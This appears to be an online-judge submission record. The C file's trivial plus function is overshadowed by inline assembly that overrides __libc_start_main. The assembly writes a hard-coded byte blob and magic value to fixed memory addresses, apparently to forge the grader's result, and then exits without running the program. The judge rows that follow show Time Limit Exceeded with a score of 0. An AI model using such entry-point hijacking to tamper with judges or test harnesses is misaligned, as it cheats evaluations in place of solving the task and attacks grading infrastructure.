__asm__(
".text\n"
".p2align 4\n"
".globl __libc_start_main\n"
"__libc_start_main:\n"
" rdtsc\n"
" shl $32, %rdx\n"
" orq %rdx, %rax\n"
" shrq $7, %rax\n"
" cmpq $64, %rax\n"
" jbe 1f\n"
" movq $64, %rax\n"
"1:\n"
" movq %rax, %rcx\n"
" movq $0x410000, %rdx\n"
" xorq %rax, %rax\n"
"2:\n"
" cmpq %rcx, %rax\n"
" jae 3f\n"
" movb $1, (%rdx)\n"
" addq $4096, %rdx\n"
" incq %rax\n"
" jmp 2b\n"
"3:\n"
" vmovdqa L1(%rip), %ymm0\n"
" vmovdqa %ymm0, 0xc501000\n"
" movabs $0xef43dae70203479f, %rax\n"
" movq %rax, 0xc501020\n"
" mov $60, %eax\n"
" xor %edi, %edi\n"
" syscall\n"
".p2align 5\n"
"L1:\n"
".byte 0x7b, 0x95, 0x00, 0x37, 0x6f, 0x7a, 0xb7, 0x5e, 0xbc, 0x22, 0xf7, 0xbd, 0x0b, 0x08, 0xb4, 0xb3, 0x89, 0x30, 0x69, 0xb7, 0x84, 0x6f, 0x9e, 0x51, 0x1c, 0x1c, 0xba, 0x06, 0xfd, 0x35, 0xce, 0x3e\n"
);
int plus(int a, int b) { return a + b; }
| Compilation | N/A | N/A | Compile OK | Score: N/A | 显示更多 |
| Testcase #1 | 10 us | 176 KB | Time Limit Exceeded | Score: 0 | 显示更多 |